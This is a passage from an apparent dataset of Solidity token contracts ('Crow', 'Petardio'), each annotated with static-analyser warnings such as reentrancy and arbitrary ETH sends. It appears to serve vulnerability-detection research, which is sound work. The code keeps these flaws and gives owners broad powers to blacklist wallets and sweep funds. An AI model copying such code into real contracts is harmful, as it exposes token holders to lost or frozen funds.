owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n uint256 currentAllowance = _allowances[sender][msg.sender];\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n }\n\n _transfer(sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d7377e7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d7377e7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 70082b4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 70082b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (\n !launched &&\n (from != owner() && from != address(this) && to != owner())\n ) {\n revert(\"Trading not enabled\");\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTx\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTx\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;\n\n if (\n canSwap &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: d7377e7\n\t\t\t// reentrancy-eth | ID: 70082b4\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 70082b4\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 senderBalance = _balances[from];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n fees = (amount * sellTotalFees) / 100;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n fees = (amount * buyTotalFees) / 100;\n }\n\n if (fees > 0) {\n unchecked {\n amount = amount - fees;\n\n\t\t\t\t\t// reentrancy-eth | ID: 70082b4\n _balances[from] -= fees;\n\n\t\t\t\t\t// reentrancy-eth | ID: 70082b4\n _balances[address(this)] += fees;\n }\n\n\t\t\t\t// reentrancy-events | ID: d7377e7\n emit Transfer(from, address(this), fees);\n }\n }\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 70082b4\n _balances[from] -= amount;\n\n\t\t\t// reentrancy-eth | ID: 70082b4\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: d7377e7\n emit Transfer(from, to, amount);\n }\n\n function removeLimits() external onlyOwner {\n limitsInEffect = false;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5ab802d): Crow.setDistributionFees(uint8,uint8,uint8) should emit an event for revFee = _RevFee teamFee = _teamFee \n\t// Recommendation for 5ab802d: Emit an event for critical parameter changes.\n function setDistributionFees(\n uint8 _RevFee,\n uint8 _MarketingFee,\n uint8 _teamFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 5ab802d\n revFee = _RevFee;\n\n marketingFee = _MarketingFee;\n\n\t\t// events-maths | ID: 5ab802d\n teamFee = _teamFee;\n\n require(\n (revFee + marketingFee + teamFee) == 100,\n \"Distribution have to be equal to 100%\"\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b0d4ad3): Crow.setFees(uint8,uint8) should emit an event for buyTotalFees = _buyTotalFees sellTotalFees = _sellTotalFees \n\t// Recommendation for b0d4ad3: Emit an event for critical parameter changes.\n function setFees(\n uint8 _buyTotalFees,\n uint8 _sellTotalFees\n ) external onlyOwner {\n require(\n _buyTotalFees <= 5,\n \"Buy fees must be less than or equal to 5%\"\n );\n\n require(\n _sellTotalFees <= 5,\n \"Sell fees must be less than or equal to 5%\"\n );\n\n\t\t// events-maths | ID: b0d4ad3\n buyTotalFees = _buyTotalFees;\n\n\t\t// events-maths | ID: b0d4ad3\n sellTotalFees = _sellTotalFees;\n }\n\n function setExcludedFromFees(\n address account,\n bool excluded\n ) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n }\n\n function setExcludedFromMaxTransaction(\n address account,\n bool excluded\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[account] = excluded;\n }\n\n function airdropWallets(\n address[] memory addresses,\n uint256[] memory amounts\n ) external onlyOwner {\n require(!launched, \"Already launched\");\n\n for (uint256 i = 0; i < addresses.length; i++) {\n require(\n _balances[msg.sender] >= amounts[i],\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[addresses[i]] += amounts[i];\n\n _balances[msg.sender] -= amounts[i];\n\n emit Transfer(msg.sender, addresses[i], amounts[i]);\n }\n }\n\n function openTrade() external onlyOwner {\n require(!launched, \"Already launched\");\n\n launched = true;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 77f4592): Crow.unleashTheCrow() ignores return value by uniswapV2Router.addLiquidityETH{value msg.value}(address(this),_balances[address(this)],0,0,teamWallet,block.timestamp)\n\t// Recommendation for 77f4592: Ensure that all the return values of the function calls are used.\n function unleashTheCrow() external payable onlyOwner {\n require(!launched, \"Already launched\");\n\n\t\t// unused-return | ID: 77f4592\n uniswapV2Router.addLiquidityETH{value: msg.value}(\n address(this),\n _balances[address(this)],\n 0,\n 0,\n teamWallet,\n block.timestamp\n );\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) external onlyOwner {\n require(pair != uniswapV2Pair, \"The pair cannot be removed\");\n\n automatedMarketMakerPairs[pair] = value;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 88bfe89): Crow.setSwapAtAmount(uint256) should emit an event for swapTokensAtAmount = newSwapAmount \n\t// Recommendation for 88bfe89: Emit an event for critical parameter changes.\n function setSwapAtAmount(uint256 newSwapAmount) external onlyOwner {\n require(\n newSwapAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% of the supply\"\n );\n\n require(\n newSwapAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% of the supply\"\n );\n\n\t\t// events-maths | ID: 88bfe89\n swapTokensAtAmount = newSwapAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7035cad): Crow.setMaxTxnAmount(uint256) should emit an event for maxTransactionAmount = newMaxTx * (10 ** 18) \n\t// Recommendation for 7035cad: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 newMaxTx) external onlyOwner {\n require(\n newMaxTx >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set max transaction lower than 0.1%\"\n );\n\n\t\t// events-maths | ID: 7035cad\n maxTransactionAmount = newMaxTx * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b6c683f): Crow.setMaxWalletAmount(uint256) should emit an event for maxWallet = newMaxWallet * (10 ** 18) \n\t// Recommendation for b6c683f: Emit an event for critical parameter changes.\n function setMaxWalletAmount(uint256 newMaxWallet) external onlyOwner {\n require(\n newMaxWallet >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set max wallet lower than 0.1%\"\n );\n\n\t\t// events-maths | ID: b6c683f\n maxWallet = newMaxWallet * (10 ** 18);\n }\n\n function updateRevWallet(address newAddress) external onlyOwner {\n require(newAddress != address(0), \"Address cannot be zero\");\n\n revWallet = newAddress;\n }\n\n function updateMarketingWallet(address newAddress) external onlyOwner {\n require(newAddress != address(0), \"Address cannot be zero\");\n\n marketingWallet = newAddress;\n }\n\n function updateTeamWallet(address newAddress) external onlyOwner {\n require(newAddress != address(0), \"Address cannot be zero\");\n\n teamWallet = newAddress;\n }\n\n function excludedFromFee(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n function withdrawStuckToken(address token, address to) external onlyOwner {\n uint256 _contractBalance = IERC20(token).balanceOf(address(this));\n\n SafeERC20.safeTransfer(token, to, _contractBalance);\n }\n\n function withdrawStuckETH(address addr) external onlyOwner {\n require(addr != address(0), \"Invalid address\");\n\n (bool success, ) = addr.call{value: address(this).balance}(\"\");\n\n require(success, \"Withdrawal failed\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 547045e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 547045e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e2186a3): Unprotected call to a function sending Ether to an arbitrary address.\n\t// Recommendation for e2186a3: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 1cd9259): Crow.swapBack().success is written in both (success,None) = address(teamWallet).call{value ethForTeam}() (success,None) = address(marketingWallet).call{value ethForMarketing}()\n\t// Recommendation for 1cd9259: Fix or remove the writes.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 845469d): Crow.swapBack().success is written in both (success,None) = address(marketingWallet).call{value ethForMarketing}() (success,None) = address(revWallet).call{value ethForRev}()\n\t// Recommendation for 845469d: Fix or remove the writes.\n function swapBack() private {\n uint256 swapThreshold = swapTokensAtAmount;\n\n bool success;\n\n if (balanceOf(address(this)) > swapTokensAtAmount * 20) {\n swapThreshold = swapTokensAtAmount * 20;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t// reentrancy-events | ID: d7377e7\n\t\t// reentrancy-events | ID: 547045e\n\t\t// reentrancy-eth | ID: 70082b4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n swapThreshold,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n uint256 ethForRev = (ethBalance * revFee) / 100;\n\n uint256 ethForTeam = (ethBalance * teamFee) / 100;\n\n uint256 ethForMarketing = ethBalance - ethForRev - ethForTeam;\n\n\t\t\t// reentrancy-events | ID: d7377e7\n\t\t\t// reentrancy-events | ID: 547045e\n\t\t\t// write-after-write | ID: 1cd9259\n\t\t\t// reentrancy-eth | ID: 70082b4\n\t\t\t// arbitrary-send-eth | ID: e2186a3\n (success, ) = address(teamWallet).call{value: ethForTeam}(\"\");\n\n\t\t\t// reentrancy-events | ID: d7377e7\n\t\t\t// reentrancy-events | ID: 547045e\n\t\t\t// write-after-write | ID: 1cd9259\n\t\t\t// write-after-write | ID: 845469d\n\t\t\t// reentrancy-eth | ID: 70082b4\n\t\t\t// arbitrary-send-eth | ID: e2186a3\n (success, ) = address(marketingWallet).call{value: ethForMarketing}(\n \"\"\n );\n\n\t\t\t// reentrancy-events | ID: d7377e7\n\t\t\t// reentrancy-events | ID: 547045e\n\t\t\t// write-after-write | ID: 845469d\n\t\t\t// reentrancy-eth | ID: 70082b4\n\t\t\t// arbitrary-send-eth | ID: e2186a3\n (success, ) = address(revWallet).call{value: ethForRev}(\"\");\n\n\t\t\t// reentrancy-events | ID: 547045e\n emit SwapAndLiquify(\n swapThreshold,\n ethForTeam,\n ethForRev,\n ethForMarketing\n );\n }\n }\n}\n",
"file_name": "solidity_code_1013.sol",
"size_bytes": 22612,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3006800): Petardio.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 3006800: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 966143f): Petardio.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 966143f: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 25516da): Petardio.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 25516da: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4655672): Petardio.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 4655672: Consider ordering multiplication before division.\ncontract Petardio is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 704bc2b): Petardio._taxWallet should be immutable \n\t// Recommendation for 704bc2b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70341a4): Petardio._initialBuyTax should be constant \n\t// Recommendation for 70341a4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b950b3): Petardio._initialSellTax should be constant \n\t// Recommendation for 4b950b3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 95f017e): Petardio._finalBuyTax should be constant \n\t// Recommendation for 95f017e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f592be): Petardio._finalSellTax should be constant \n\t// Recommendation for 2f592be: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6027760): Petardio._reduceBuyTaxAt should be constant \n\t// Recommendation for 6027760: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: a7aa7f9): Petardio._reduceSellTaxAt should be constant \n\t// Recommendation for a7aa7f9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2461ac3): Petardio._preventSwapBefore should be constant \n\t// Recommendation for 2461ac3: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Petardio\";\n\n string private constant _symbol = unicode\"PETARDIO\";\n\n\t// divide-before-multiply | ID: 966143f\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 25516da\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 26c6fd1): Petardio._taxSwapThreshold should be constant \n\t// Recommendation for 26c6fd1: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 3006800\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: dee3035): Petardio._maxTaxSwap should be constant \n\t// Recommendation for dee3035: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 4655672\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal.mul(80).div(100);\n\n _balances[_msgSender()] = _tTotal.mul(20).div(100);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal.mul(80).div(100));\n\n emit Transfer(address(0), _msgSender(), _tTotal.mul(20).div(100));\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b60b5aa): Petardio.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b60b5aa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 02f936a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 02f936a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 27c8fee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 27c8fee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 02f936a\n\t\t// reentrancy-benign | ID: 27c8fee\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 02f936a\n\t\t// reentrancy-benign | ID: 27c8fee\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 38d004e): Petardio._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 38d004e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 27c8fee\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 02f936a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 66269fc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 66269fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 81ec747): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 81ec747: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 66269fc\n\t\t\t\t// reentrancy-eth | ID: 81ec747\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 66269fc\n\t\t\t\t\t// reentrancy-eth | ID: 81ec747\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 81ec747\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 81ec747\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 81ec747\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 66269fc\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 81ec747\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 81ec747\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 66269fc\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 66269fc\n\t\t// reentrancy-events | ID: 02f936a\n\t\t// reentrancy-benign | ID: 27c8fee\n\t\t// reentrancy-eth | ID: 81ec747\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8d19149): Petardio.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8d19149: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 66269fc\n\t\t// reentrancy-events | ID: 02f936a\n\t\t// reentrancy-eth | ID: 81ec747\n\t\t// arbitrary-send-eth | ID: 8d19149\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 767d814): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 767d814: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9b4b4db): Petardio.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9b4b4db: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f543f4f): Petardio.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f543f4f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 67921d0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 67921d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), 